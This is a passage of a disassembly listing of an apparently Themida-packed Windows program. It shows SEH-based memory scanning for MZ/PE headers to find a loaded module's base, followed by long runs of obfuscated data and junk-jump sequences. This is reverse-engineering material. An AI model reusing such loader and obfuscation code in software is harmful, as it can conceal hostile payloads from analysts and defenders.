loc_54C3FA: ; CODE XREF: start+6B3D6j sub eax, 1000h inc edi jmp short loc_54C3E5 ; --------------------------------------------------------------------------- loc_54C402: ; CODE XREF: start+6B3E4j pop large dword ptr fs:0 add esp, 4 lea edx, [ebp+61438A2h] push edx push large dword ptr fs:0 mov large fs:0, esp add eax, ecx sub eax, 1000h mov esi, [eax+4] and esi, 0FFFF0000h cmp esi, 80000000h jbe short loc_54C43C mov esi, [eax+1Ch] loc_54C43C: ; CODE XREF: start+6B423j xor eax, eax loc_54C43E: ; CODE XREF: start+6B43Dj cmp eax, 32h jz short loc_54C462 cmp word ptr [esi], 5A4Dh jz short loc_54C453 loc_54C44A: ; CODE XREF: start+6B44Cj sub esi, 10000h inc eax jmp short loc_54C43E ; --------------------------------------------------------------------------- loc_54C453: ; CODE XREF: start+6B434j mov edi, [esi+3Ch] add edi, esi cmp dword ptr [edi], 4550h jz short loc_54C4A4 jmp short loc_54C44A ; --------------------------------------------------------------------------- loc_54C462: ; CODE XREF: start+6B42Dj pop large dword ptr fs:0 add esp, 4 popa retn ; END OF FUNCTION CHUNK FOR start ; --------------------------------------------------------------------------- dw 8B51h dd 8110244Ch, 0B0A9h, 100000h, 0C0335900h, 4C8B51C3h, 0E8551024h dd 0 dd 0ADED815Dh, 8D061438h, 14386B85h, 0B8818906h, 5D000000h dd 0C3C03359h ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR start loc_54C4A4: ; CODE XREF: start+6B44Aj xchg eax, esi pop large dword ptr fs:0 add esp, 4 push 0 push esi call sub_54C4BA and [esi-3Dh], bl ; END OF FUNCTION CHUNK FOR start ; =============== S U B R O U T I N E ======================================= sub_54C4BA proc near ; CODE XREF: start+6B49Ep arg_4 = dword ptr 8 pop esi mov [esp-4+arg_4], esi add [esp-4+arg_4], 19h inc esi push esi retn sub_54C4BA endp ; --------------------------------------------------------------------------- dw 9A70h dd 0D988E77h, 2444BB66h, 0BBD98C66h, 30673C80h, 0B704E180h dd 0FC90A37h, 1E85h, 85C7FC00h, 61412CDh, 1, 3DE957B3h dd 0F9000000h, 6E9h, 37A42C00h, 0C7451003h, 1412CD85h dd 6, 57006A00h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h dd 1D04h, 0C3574700h, 0C5F36FCAh, 0DB9FC46Fh, 0DA8B8E8Fh dd 11458589h, 7E90614h, 23000000h, 4246C19h, 8589D8E9h dd 6141AD1h, 13E8h, 1CA13C00h, 0C7859AEEh, 8AD66222h, 0A8E99B3h dd 0DBE7900Ch, 7E9h, 0EE888800h, 74C66E2Eh, 0BE859h, 0CB00000h dd 713F3D56h, 0B04F2CF2h, 0FDBF51FFh, 5B0DC2FFh, 3BC1815Bh dd 0BA000067h, 3155CA00h, 4F9AC281h, 840FCEAAh, 3, 0FFC7BF0Fh dd 0F88B6631h, 3890F5Eh, 0F000000h, 0EE81C7B7h, 2B84791Fh dd 0F681AFB4h, 3E1C794Fh, 0C681C2B7h, 14132BEDh, 0A8BF6653h dd 31895F5Ch, 0E983E18Ah, 8770B804h, 0F4A58BCh, 2385h dd 0CE900h, 3ED70000h, 0FEB3217Fh, 5789B069h, 31E954C2h dd 0E3000000h, 5429C2AAh, 5BC791Dh, 0E1113358h, 0EE9h dd 19F38300h, 0BDCFD19Ch, 0E7135270h, 0E9C600A4h, 0FFFFFF87h dd 7DC1D3C6h, 6FD55D29h, 61612294h, 11E8h, 6B80B600h, 84DEA8B3h dd 4A16B845h, 841483DCh, 8166C20Bh, 5E0AD7E8h, 81CABF0Fh dd 63EDC6h, 0B9CA8100h, 2B28FDAEh, 3BEEB9DBh, 3C8B2C9Eh dd 6830F1Eh, 81000000h, 672479E1h, 0BCF78168h, 0F2DE342h dd 1389h, 0D800F00h, 0E8000000h, 7, 0E26B01B3h, 5965DC54h dd 46ABC781h, 816656A0h, 81D966CAh, 0C59EC4EFh, 89D78B68h dd 3AB91E3Ch, 0B9492C77h, 1F3A382h, 0C724EB81h, 12E906B6h dd 14000000h, 9645C2EEh, 5D2238E3h, 6661E140h, 91921112h dd 20C381DCh, 8006B6C7h, 0FB8146D4h, 0FFFF9CC4h, 0FF80850Fh dd 820FFFFFh, 2, 4EB6AB0h, 215h, 6F6E9h db 0, 0F9h word_54C6F2 dw 6060h ; DATA XREF: Themida_:0054AEF0o dd 72BDBAB8h, 5585893Bh, 61061431h, 0B8h, 55BD8900h, 8B061424h dd 89282454h, 140D4D8Dh, 118D2906h, 89061426h, 1402F585h dd 820F6006h, 6, 239DBD8Bh, 0BF0F0614h, 0BEF961C7h, 3Ch dd 0EE9h, 0E95F1100h, 0BB5192D1h, 19F1723Dh, 32F04F2h dd 60242474h, 13E8h, 0C5A84000h, 93E45FB6h, 0C7096247h dd 248029B6h, 0BA0D85C8h, 8B5810B1h, 0AD6661D1h, 0EE9h dd 366E1E00h, 0AB6A6A63h, 0CF7CE3BAh, 369F6BEh, 89242444h dd 140A419Dh, 0DE95006h, 29000000h, 56DD1992h, 6CFF3C0Ch dd 9E28C5D2h, 29240489h, 14042DBDh, 78408B06h, 15952960h dd 0B061421h, 1434BDB5h, 850F6106h, 6, 1505BD89h, 44030614h dd 9D892824h, 61429C1h, 918408Bh, 1400B195h, 80604006h dd 89611DCEh, 143B0985h, 0A840F06h, 60000000h, 1685858Bh dd 0D98B0614h, 8BF85861h, 83FC7870h, 11E91CC6h, 6B000000h dd 0C369835Fh, 165B5768h, 7028C75Bh, 3E0C9897h, 24247403h dd 31698D29h, 0BD8D0614h, 61418F1h, 0C8F0Fh, 8F0F0000h dd 6, 1909B589h, 31AD0614h, 141BE98Dh, 24440306h, 1860F24h dd 0F9000000h, 0BD8DF9ABh, 61409D9h, 0E8F0Fh, 8B600000h dd 1430F195h, 4D8D8906h, 61061404h, 0E86060ADh, 5, 0ADD1EA2Bh dd 961584Ch, 14257D85h, 810F6106h, 16h, 9E960h, 38C10000h dd 8B4E2160h, 8183A18Dh, 6BDB8CDBh, 44036165h, 95292424h dd 6141D15h, 14E990h, 0C9A20000h, 11D1A6C9h, 0AB51A57h dd 0E9CEAE81h, 2B047E32h, 5050BABEh, 8C0F6052h, 0 dd 0E9310F61h, 0Ah, 13710ECCh, 93A62B0Ch, 585AD609h, 6830F90h dd 9000000h, 1412D185h, 14E9AB06h, 83000000h, 940A6609h dd 456B725Fh, 0D8A2EC65h, 41F427C9h, 8DC87F4Fh, 140381BDh dd 0D858906h, 6006142Fh, 8BD1B70Fh, 143101B5h, 89AD6106h dd 1425B59Dh, 81858906h, 306140Fh, 31282444h, 14056D8Dh dd 8589AB06h, 6140BE5h, 99B5315Eh, 0FF061421h, 143B098Dh dd 9BD8306h, 6143Bh, 44C71075h, 1C24h, 0B58D0000h, 6143FDDh dd 0AD56E6FFh, 28244403h, 8ADF8B97h, 141A5985h, 74C08406h dd 75073A04h, 0C032574Ch, 5EFD75AEh, 0FC52FB2Bh, 8B49C933h dd 33C033D1h, 0C132ACDBh, 0EA8ACD8Ah, 8B6D68Ah, 66EBD166h dd 973D8D1h, 50413566h, 49F38166h, 75CEFE54h, 33C833EBh dd 0D5754FD3h, 0D1F7D2F7h, 0C0C1C28Bh, 0C18B6610h, 74D03B5Ah dd 0C6835E0Fh, 0F585FF04h, 0E9061402h, 0FFFFFF6Fh, 8D29605Eh dd 6142375h, 0F6128B1h, 68Fh, 1BB36000h, 8B610BB1h, 1402F585h dd 0DD952906h, 0D106142Eh, 68E0FE0h, 89000000h, 142D69BDh dd 81850306h, 60061403h, 87BE6660h, 0B70F6144h, 0F62B61CAh dd 8860Fh, 860F0000h, 2, 60966160h, 0BBDB529h, 820F0614h dd 6, 8A0Fh, 66610000h, 14E9ADh, 13BB0000h, 0B6FD2BEh dd 38673E8Fh, 0B07800D6h, 1F47E6EEh, 0F60E017h, 62BBC9BFh dd 612EF9E8h, 8902E0C1h, 142C2985h, 0F1850306h, 0F061418h dd 0B83h, 6E900h, 0E8560000h, 29C2AAE3h, 0E1BD8996h, 0AD061418h dd 6E9h, 53185600h, 8B221182h, 0E924244Ch, 6, 270575C6h dd 440321A0h, 0BD892424h, 6142EA5h, 1C244489h, 0FE9h, 0D21B6A00h dd 0C2F2978Ah, 936FEAA1h, 62B4CB20h, 0A840F96h, 60000000h dd 850FF88Ah, 0 dd 9509AC61h, 6142D09h, 6060C932h, 800Fh, 0BD310000h, 61413F5h dd 0C1FE6161h, 8DD9589h, 0D0D00614h, 0C6830Fh, 0BD010000h dd 6142C55h, 830FD0D0h, 0B8h, 7E9h, 0F0863A00h, 4CD64CB7h dd 820FD0D0h, 0A4h, 0F6BF0F60h, 61CFB70Fh, 820FD0D0h, 94h dd 1A89BD29h, 0C9FE0614h, 0FFB8890Fh, 880FFFFFh, 8, 1858B60h dd 61061406h, 20C483F9h, 0F3BF0F60h, 4521BF66h, 2444C761h dd 0FCh, 6880F00h, 1000000h, 142F6595h, 1B806h, 0CE90000h dd 2F000000h, 74221981h, 9109D443h, 0F27EAA9h, 1282h, 0DE900h dd 0CB140000h, 0A41F1EE8h, 0C346C478h, 8D26B9DFh, 1470F08Dh dd 13E96006h, 0EE000000h, 0A2216CC4h, 75C4BDFBh, 3CFCA92Bh dd 159F7ECFh, 9D890FFFh, 61424A5h, 0FCE1FF61h, 1A5985C6h dd 9000614h, 142661BDh, 8F0F6106h, 19h, 14E9h, 0D5470C00h dd 54019261h, 3EE50CF5h, 0EE0B307Dh, 0E4672A0Fh, 0F870F1Bh dd 0E9000000h, 0Ah, 0E1A13BD4h, 7ACF98F0h, 8C2F1D8h, 0B70F6000h dd 0CF8166DBh db 60h, 78h, 61h byte_54CC0B db 50h ; DATA XREF: Themida_:0054B6B4o dd 0BE605250h, 2029B60Fh, 60310F61h, 0E451ACBEh, 61CE8B51h dd 3489585Ah, 0F880F24h, 0E9000000h, 0Ah, 9F9BB7D5h, 108B9368h dd 3160F4FDh, 140AF995h, 0C19D8B06h, 6106141Ah, 41E0B589h dd 66600614h, 9823E781h, 0E101E081h, 89615A05h, 1441EB8Dh dd 0B58DF906h, 61440DCh, 0FE9h, 9BF49100h, 0D1A7853Ah dd 6B6D9920h, 0AE8610AEh, 8EA1858Dh, 8960005Bh, 1413DDB5h dd 0F1B58906h, 6106142Eh, 8E9D0FFh, 45000000h, 0B0A4D7FDh dd 5EF1237Ah, 14E9C3F9h, 0D2000000h, 5360BAD6h, 8C95032Ah dd 6EF63DD7h, 3C3CDB9Eh, 8B7BD98Fh, 1441E0B5h, 0F1BD8906h dd 8B061402h, 1441EB8Dh, 59B50906h, 0B8061413h, 0 dd 0A7D8589h, 0D98B0614h, 59858960h, 61061426h, 0A9E9h dd 0B8C0F00h, 0E9000000h, 6, 76BAF48Ah, 2632297Fh, 2A859509h dd 2B20614h, 5EE9F8h, 0BD090000h, 61408CDh, 820FC232h dd 14h, 0FE9h, 0D249EC00h, 0AACDEC0h, 62C28D12h, 0CB38F36h dd 751D7A05h, 1195018Ah, 8A061425h, 0B19529CCh, 0D3061401h dd 0C1B589C8h, 3506142Eh, 98D10842h, 10D58529h, 8D090614h dd 6141385h, 9E9CAFEh, 3A000000h, 1B086468h, 57171CB8h dd 850FD20Ah, 0FFFFFFA0h, 0EDBD8B60h, 81061412h, 58F8B8DBh dd 14B6120h, 141165BDh, 75950106h, 4606140Ch, 2625BD29h dd 0DB0B0614h, 0FF60850Fh, 8B60FFFFh, 1423498Dh, 12E906h dd 0D0A30000h, 0B5A850FFh, 63E8D690h, 0E283C274h, 0E3680FFCh dd 0F5CF61h, 55950900h, 61402h, 0F800h, 18E9BD29h, 0DE90614h dd 41000000h, 80E852Bh, 3B874395h, 23921B2Ah, 8DFC0000h dd 143B1385h, 68D0F06h, 1000000h, 1434F98Dh, 11858906h dd 0E9061423h, 7, 0A7EB4EC1h, 8D4C23A7h, 14402C85h, 2DBD8906h dd 8906142Eh, 142AD585h, 14EB06h, 3 dup(0) dd 85000000h, 8D000000h, 14430C85h, 8D858906h, 83061410h dd 14424CBDh, 840F0006h, 12Ch, 1A5985C6h, 68560614h, 6C3FF16Bh dd 0CE240481h, 0FF67DF7Bh, 141145B5h, 13858D06h, 0FF06143Bh dd 408589D0h, 0C6061442h, 141A5985h, 0B3685606h, 814800A5h dd 129F2404h, 0B5FF54A8h, 6141145h, 3B13858Dh, 0D0FF0614h dd 42448589h, 46A0614h, 4E8h, 100000h, 448B5000h, 8B0424h dd 4244489h, 50858B58h, 5061442h, 1F4h, 5002E0C1h, 6A240489h dd 4495FF00h, 89061442h, 14424885h, 0B8D88B06h, 0FFFFFFFFh dd 108D95FFh, 0C38B0614h, 108D95FFh, 8DE90614h db 3 dup(0) byte_54CEEB db 83h ; DATA XREF: Themida_:00549C6Co dd 14424CBDh, 850F0006h, 1, 0BD8B57C3h, 6144248h, 488583ABh dd 4061442h, 0BD83C35Fh, 614424Ch, 1850F00h, 0C3000000h dd 48AD8360h, 4061442h, 42489D8Bh, 7B830614h, 850FFFFCh dd 26h, 4E8h, 800000h, 448B5000h, 8B0424h, 4244489h, 0FF006A58h dd 4095FF33h, 61061442h, 1DE9C3h, 9D680000h, 81595F7Ah dd 0FA9D2434h, 6A595Fh, 95FF33FFh, 6144240h, 4248AD83h dd 0E9040614h, 0FFFFFFA8h, 9D3E948h, 83B60000h, 8EBDD441h dd 1B9A9C83h, 0D607FFCDh, 9E94CDA8h, 19DF9098h, 0E3616A50h dd 4625D363h, 0A5EB637Ah, 0CCB6D941h, 0C88948Fh, 0C416AC9Fh dd 0D59B88AFh, 13AFF3F7h, 0E27C7E5Ah, 4625816Fh, 0A6E46578h dd 0CCACD941h, 13928990h, 0DA0AB29Fh, 0DB8F9FB4h, 5F9B909Ch dd 0F37C7A4Dh, 824D322h, 0B0F0656Dh, 83AAC041h, 139C8991h dd 91h, 62h dup(0) dd 83B60000h, 82B7DD41h, 0C928F9Fh, 0D81DAF9Fh, 96979FBCh dd 0C9E96DDh, 0E26A7D1Fh, 4736812Dh, 0E2E16461h, 82B6C513h dd 5E9A959Fh, 0CE4FB1D6h, 0DB8498B4h, 0B8C878Eh, 8D21725Ah dd 4D3CF14Eh, 0EEE07975h, 80B6C541h, 5E999A99h, 0D14FABD6h dd 0DB9B82A9h, 10929B90h, 0E62F664Dh, 5A70C52Dh, 0A3F17971h dd 95F8C413h, 5E8F8E99h, 0D000ADCFh, 0D59B8CA9h, 48h dup(0) dd 83B60000h, 8DAAD341h, 0C989095h, 0C34FAC98h, 0DB9A82B4h dd 5F8C9F95h, 0E96A7A5Dh, 5D3FC763h, 0B0A56E7Ah, 85B6DE14h dd 17DD9C98h, 0D816FFD1h, 88D69FAEh, 1A8B8D84h, 8A053152h dd 4935CD13h, 0E2A96F67h, 83B4DE14h, 17DD9F97h, 0C509FFCBh dd 96D680B4h, 0D909398h, 0E96E3F46h, 4D228127h, 0B0E47E67h dd 83A19015h, 0EDD8983h, 0C508B0CDh, 0D880BAh, 61h dup(0) dd 84B60000h, 0CCBDDC08h, 0C8F9495h, 0D21BAFCAh, 0DBD8CCBFh dd 0C9696A9h, 0E87D6F1Fh, 4531D324h, 0B1E46234h, 89BDD241h dd 1F90DB98h, 0C21FB6D1h, 9E828CB7h, 119EDE99h, 0E6623F5Bh dd 2235C33Ah, 0E5F16319h, 82B19012h, 0A9E9E90h, 0D54FBBDAh dd 0DB97CDA2h, 0A8D97ABh, 0F5603F4Ch, 4922C263h, 0A6E06177h dd 848C904Fh, 18DD889Fh, 970AB3D6h, 0DC9882ACh, 1088DE89h dd 0E62F744Dh, 473DD82Dh, 0AB6F66h, 0E0h dup(0) dd 4C570000h, 446D754Eh, 50734C4Ch, 746F72h, 30h, 8 dup(0) aExitStatusD db 'Exit Status = %d',0 align 4 dd 0 dd 2C0BE900h, 0DF8B0000h, 0E6EA81FCh, 8B364DF8h, 0E59D29C0h dd 8306141Fh, 1430B1BDh, 9750006h, 1AE1BD83h, 74000614h dd 8B535013h, 1B8C0h, 9D8D0000h, 616B5DCh, 585BD3FFh, 1AE1BD83h dd 74000614h, 0B8535011h, 1, 0B48D9D8Dh, 0D3FF0616h, 41BB585Bh dd 8B145DEDh, 1403559Dh, 1C08B06h, 1423ED95h, 0EABB6606h dd 5BD8344h, 6140Bh, 16C840Fh, 6A0000h, 3E850h, 58200000h dd 448958C3h, 44810424h, 150424h, 50400000h, 834505C3h dd 140441BDh, 840F0006h, 142h, 262D952Bh, 6A600614h, 3E85200h dd 20000000h, 895AC35Ah, 81042454h, 1A042444h, 42000000h dd 3CE3C352h, 0CDF19EE4h, 0D38166B8h, 858B9C9Dh, 6140441h dd 5DAB70Fh, 3E8h, 6519D8Bh, 0E9500614h, 14h, 0ABC17978h dd 299CD1CBh, 0C3CA593Eh, 0B6EED83h, 0F47F6B9Ch, 6A240489h dd 3E85600h, 20000000h, 895EC35Eh, 81042474h, 1D042444h dd 46000000h, 2568C356h, 1D9C0588h, 654AA9B1h, 73E541BBh dd 59858D33h, 8B06144Dh, 0CB8166D1h, 60500488h, 8B74B866h dd 0F28B5250h, 8E9310Fh, 52000000h, 0D81CABB4h, 5AFC8E73h dd 4896158h, 6C88BA24h, 0DF8054D3h, 37858DA8h, 8B06144Dh dd 66B790DAh, 90F88A50h, 95FF07B3h, 6141509h, 25C59D8Bh dd 0C4830614h, 0A99D890Ch, 8D061408h, 144D3785h, 3D9D8906h dd 8B061422h, 140D3595h, 4895006h, 55006A24h, 3E8h, 0C35D2000h dd 246C895Dh, 24448104h, 1A04h, 0C3554500h, 0DE13DB93h dd 0FDCDC9Dh, 0AABAD6BFh, 6A68EEBCh, 69B58902h, 89061415h dd 140595BDh, 1495FF06h, 66006AEDh, 610965BBh, 31B19503h dd 85C70614h, 6144D6Ah, 1, 0E850006Ah, 3, 58C35820h, 4244489h dd 4244481h, 19h, 3BC35040h, 0C15ACAE6h, 0BE85006h, 0D0000000h dd 0F5FC7D8h, 0C5ACAF15h, 52500382h, 800Fh, 310F0000h dd 310F5250h, 585A585Ah, 2434895Ah, 1FD9BD89h, 0B5890614h dd 6144D1Bh, 0ECC38166h, 0CDBD8373h, 1061412h, 39850Fh dd 6A0000h, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 170424h dd 53430000h, 73B59DC3h, 5F883D5h, 11850Fh, 9D8B0000h dd 6142661h, 0B8h, 91858900h, 83061411h, 140051BDh, 840F0006h dd 40h, 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 16h dd 0D3C35040h, 8B602247h, 1425CD95h, 5195FF06h, 0E9061400h dd 0Bh, 4C45E053h, 32C067Ch, 61918177h, 0FC27CA80h, 1A99BD83h dd 0F000614h, 3184h, 52006A00h, 3E8h, 0C35A2000h, 2454895Ah dd 24448104h, 1704h, 0C3524200h, 0BFA89A13h, 0AE99D8Bh dd 0B80614h, 8B000000h, 0C38166DFh, 0F60CCA9h, 1689h, 0AE800h dd 9BEA0000h, 3F6AA680h, 5A241A04h, 8E0Fh, 8B5B0000h, 142D0185h dd 6EEB8106h, 836E2CEDh, 0DF8B02C0h, 4D138589h, 81660614h dd 0C64362EAh, 9EB3FF00h, 1A5985C6h, 8B530614h, 14263D95h dd 4E806h, 48D80000h, 800FFCB1h, 12h, 0DE9h, 23C7EC00h dd 65C78E2Ch, 0C42E6456h, 8A50B92Ch, 24448BDDh, 8BD68B04h dd 89DF8B00h, 53042444h, 5BD88B66h, 3880F58h, 80000000h dd 49B7D7EBh, 1AD1B5FFh, 89600614h, 1419E9BDh, 36DB8006h dd 0DB858D61h, 89061780h, 141FD985h, 0A0F2BA06h, 0D0FF6046h dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 1Ah, 0EEC35545h dd 516FD868h, 0BB66528Eh, 8589EF79h, 6141169h, 0E850006Ah dd 3, 58C35820h, 4244489h, 4244481h, 17h, 89C35040h, 0BA91361Ch dd 0FD4A826h, 1D51BD83h, 0F010614h, 0FF85h, 11958B00h dd 61061414h, 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h dd 14h, 8AC35646h, 1A5985C6h, 89450614h, 1431218Dh, 2E536806h dd 5250D90Bh, 9E8h, 72197100h, 15695D55h, 0DE81E19h, 94000000h dd 96231185h, 86F476A1h, 8707AD9Ah, 310F5A5Ah, 0FEE0BB66h dd 481585Ah, 550A6F24h, 69958901h, 0FF06140Ah, 141AD1B5h dd 53006A06h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1B04h dd 0C3534300h, 33791A93h, 0B89965E0h, 80DB858Dh, 0CE90617h dd 0D5000000h, 9C092921h, 6AF1E5E1h, 0FFA806C0h, 53006AD0h dd 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1504h, 0C3534300h dd 0BF0FFF34h, 6A006ADAh, 3E85500h, 20000000h, 895DC35Dh dd 8104246Ch, 15042444h, 45000000h, 0BCFBC355h, 0A1DB589h dd 0D0FF0614h, 8D315BB7h, 614321Dh, 829BD83h, 0F010614h dd 0C585h, 51006A00h, 3E8h, 0C3592000h, 244C8959h, 24448104h dd 1704h, 0C3514100h, 333E4396h, 25CD9D89h, 8B660614h dd 1858BD8h, 0E806142Dh, 5, 8BBDC007h, 2195338Ah, 5B06142Eh dd 2DE9h, 9F38100h, 502A3E56h, 64BE6660h, 4896179h, 0FBBB6624h dd 8B146A6Fh, 6995FFDEh, 89061411h, 14207185h, 0CB816606h dd 6658FF6Ch, 3880D68Bh, 0D0850F00h, 6AFFFFFFh, 3E85200h dd 20000000h, 895AC35Ah, 81042454h, 16042444h, 42000000h dd 826DC352h, 100C61Bh, 0E852006Ah, 3, 5AC35A20h, 4245489h dd 4244481h, 1Ch, 0F3C35242h, 85DCF414h, 7CB3FFE9h, 2EC19D8Bh dd 0E9610614h, 5, 0AE37696Fh, 65BD8364h, 6141Dh, 78840Fh dd 6A0000h, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 160424h dd 57470000h, 9BC6CFC3h, 6AFF6Ah, 3E852h, 5A200000h, 54895AC3h dd 44810424h, 1C0424h, 52420000h, 0F6DE0AC3h, 38F3F449h dd 9D8B59D2h, 61431E1h, 116995FFh, 0D68B0614h, 0FFFFC7E9h dd 55006AFFh, 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1404h dd 0C3554500h, 0EB81661Bh, 85C7C505h, 6141D65h, 1, 0FF34C281h dd 85893631h, 6144D1Fh, 0B359D8Bh, 0B3500614h, 240489DEh dd 8E0F60F9h, 6, 8A0Fh, 56A0000h, 0BD9958Bh, 0BB660614h dd 858D1C3Ch, 6144D37h, 50D88B66h, 8B665250h, 57310FD9h dd 8CFABB66h, 89585A5Ah, 0BA662404h, 858DC537h, 6144D27h dd 330CE281h, 8B900B0Eh, 8E0F50D0h, 0Ah, 0F595160h, 82h dd 6A906100h, 3E85200h, 20000000h, 895AC35Ah, 81042454h dd 1B042444h, 42000000h, 74ECC352h, 3D3D9C25h, 95FF4154h dd 6142F55h, 142D9589h, 8D8D0614h, 61478CEh, 0A40BB66h dd 1174C00Bh, 4D37858Dh, 0FF500614h, 558589D1h, 0EB06144Dh dd 5585C70Ah, 0FF06144Dh, 6AFFFFFFh, 3E85700h, 20000000h dd 895FC35Fh, 8104247Ch, 18042444h, 47000000h, 0D599C357h dd 0B3524743h, 0FDBD8924h, 6106140Ah, 0A0D9D8Bh, 85C60614h dd 6141A59h, 0E1958B4Dh, 68061409h, 0F4532D51h, 0C830Fh dd 8F0F0000h, 6, 310F5250h, 3481585Ah, 665BF924h, 0AD9D8B50h dd 0F061420h, 68Ah, 819D8B00h, 0FF06141Dh, 142255B5h, 1D9D8906h dd 8D061432h, 1780DB85h, 7E906h, 3A640000h, 8EAD088h, 81D0FFD1h dd 496CE3D2h, 0C1858952h, 0C6061402h, 141A5985h, 9D8B4506h dd 6140361h, 0D45ACA68h, 81D18BADh, 33A32434h, 0B5FF23A6h dd 6141AD1h, 19799D31h, 858D0614h, 61780DBh, 0E853006Ah dd 3, 5BC35B20h, 4245C89h, 4244481h, 1Bh, 68C35343h, 0BE8A03D1h dd 57E79D8Bh, 0CE8h, 7A172900h, 0A587DD50h, 6C8F293Fh dd 5B5B5742h, 0FD0FF5Ah, 89F5DEB7h, 142EF985h, 5D958B06h dd 8B061405h, 25E281D2h, 6654F270h, 0EE8D98Ch, 7E000000h dd 0FE3F44B1h, 8D5B445Dh, 9BBDD071h, 0B444BA0Dh, 0F65A564Fh dd 840F04C1h, 220h, 1C4D9501h, 11E90614h, 6A000001h, 3E85600h dd 20000000h, 895EC35Eh, 81042474h, 19042444h, 46000000h dd 0AE70C356h, 17ADEA0Fh, 2421B58Bh, 0BD890614h, 614160Dh dd 1180C681h, 6A0000h, 3E851h, 59200000h, 4C8959C3h, 44810424h dd 190424h, 51410000h, 28681EC3h, 0FC8BDB6Bh, 3D9BD83h dd 0F000614h, 2C85h, 7AE9F800h, 6A000000h, 3E85000h, 20000000h dd 8958C358h, 81042444h, 15042444h, 40000000h, 0A97EC350h dd 38D0Fh, 0B70F0000h, 3E83DFh, 4B840Fh, 85890000h, 61419E1h dd 56006A60h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1704h dd 0C3564600h, 8646E1DFh, 870F146Ah, 6, 19E9950Bh, 95FF0614h dd 6141169h, 8061D18Bh, 0B2E9E3D3h, 89FFFFFFh, 140A358Dh dd 106C706h, 6A000000h, 3E85300h, 20000000h, 895BC35Bh dd 8104245Ch, 19042444h, 43000000h, 69B1C353h, 0AA53E051h dd 66D08A60h, 61947CBAh, 4D1FBD83h, 0F050614h, 0F785h dd 51006A00h, 3E8h, 0C3592000h, 244C8959h, 24448104h, 1D04h dd 0C3514100h, 615DDDB6h, 1248C48Ah, 8D319EF3h, 61419C1h dd 753830BAh, 0F9B58B7Ch, 8B06142Eh, 14316195h, 8B576006h dd 141D4D85h, 89605F06h, 141D5595h, 9E906h, 50630000h dd 0FAE62BCCh, 61302468h, 64B961h, 0DF8B0000h, 0FE83E80h dd 1084h, 95895200h, 61401CDh, 18E95Ah, 0DE800000h, 57E80A8h dd 68840FC2h, 0F000000h, 581h, 49E3BB00h, 6A4670A8h, 3E85000h dd 20000000h, 8958C358h, 81042444h, 1A042444h, 40000000h dd 2CDFC350h, 0EAA00A4Ah, 0B36FBB78h, 0F4917C4h, 0FFFFA385h dd 2D8D89FFh, 0E9061408h, 2Ch, 0E857006Ah, 3, 5FC35F20h dd 4247C89h, 4244481h, 1Bh, 54C35747h, 75CBBF19h, 89464968h dd 140571B5h, 0DFB70F06h, 9BD8358h, 6141Ch, 1AD840Fh, 0B5890000h dd 614228Dh, 2ED9958Bh, 6A600614h, 3E85100h, 20000000h dd 8959C359h, 8104244Ch, 17042444h, 41000000h, 0B880C351h dd 8D0FC78Bh, 8, 2830Fh, 5B520000h, 85C6DE8Bh, 6141A59h dd 50006A54h, 3E8h, 0C3582000h, 24448958h, 24448104h, 1704h dd 0C3504000h, 0A502D5FEh, 2EA59D2Bh, 4E80614h, 0F4000000h dd 0E9FF4EBEh, 7, 1707BDA4h, 50C88C98h, 6E9h, 0B3D41D00h dd 8B38AEA3h, 0B3042444h, 8B008B0Ch, 244489DFh, 0F850F04h dd 0E8000000h, 7, 0C11D6C40h, 60D10567h, 6A585A61h, 3E85500h dd 20000000h, 895DC35Dh, 8104246Ch, 19042444h, 45000000h dd 235EC355h, 29E5735h, 89D78B66h, 1418B9B5h, 0D1B5FF06h dd 0E906141Ah, 8, 7C6CB196h, 0AC58F826h, 80DB858Dh, 9D890617h dd 6141C01h, 6AD0FFh, 3E850h, 58200000h, 448958C3h, 44810424h dd 140424h, 50400000h, 860F0DC3h, 6, 0E15B501h, 6A0614h dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 17h, 28C35545h dd 81931CD4h, 8907E8CAh, 0E810F2Eh, 60000000h, 7E9h, 0C0351200h dd 0E672F01Bh, 9B5FF61h, 0BA06141Ch, 4D96CA82h, 6AD0FFh dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 1D0424h, 55450000h dd 721791C3h, 4B45593h, 819326F9h, 4292B1CAh, 0DE86145h dd 0F7000000h, 0D876BD4Dh, 0B39153BDh, 718327EEh, 9B99D03h dd 0C75A0614h, 1429AD85h, 106h, 50006A00h, 3E8h, 0C3582000h dd 24448958h, 24448104h, 1504h, 0C3504000h, 8160F889h dd 0B6DABEE7h, 0F6B70F36h, 0D7B70F61h, 53006A60h, 3E8h dd 0C35B2000h, 245C895Bh, 24448104h, 1B04h, 0C3534300h dd 0DEDAA05Ah, 0CCFFDC86h, 15E19533h, 4E80614h, 80000000h dd 0BA000000h, 6AFA31C7h, 10E850h, 0C6ED0000h, 7272A449h dd 2541AAE0h, 0FEFD82C7h, 0E956D473h, 7, 88101048h, 5AD6A006h dd 24448B5Ah, 8E0F6004h, 4, 83C9BB66h, 6E9h, 0C283300h dd 61813C2Eh, 0D3BB008Bh, 8913BF9Fh, 56042444h, 0FE9h dd 0D614A500h, 6DE194C4h, 814EF783h, 56F6D50Ah, 9D8B585Ah dd 614002Dh, 19E1B509h, 0FF6A0614h, 9D19D8Bh, 95FF0614h dd 6143525h, 12E9h, 0FA5F8C00h, 550EC887h, 5263DE41h, 28448C54h dd 0E9C2A3E7h, 14h, 99CD587Fh, 0CDC4D5D0h, 2C2E3CCDh, 78EDFDEBh dd 2E18317h, 57006A61h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h dd 1C04h, 0C3574700h, 0F7E3A356h, 3AAEF52Eh, 6820FDAh dd 8B000000h, 140C399Dh, 0D18B5006h, 81240489h, 266E87DBh dd 41B58952h, 8B06142Ah, 14219185h, 0D38B6606h, 840FC00Bh dd 11h, 15559D8Bh, 95FF0614h, 6141BE5h, 70D28166h, 6D85C716h dd 106140Dh, 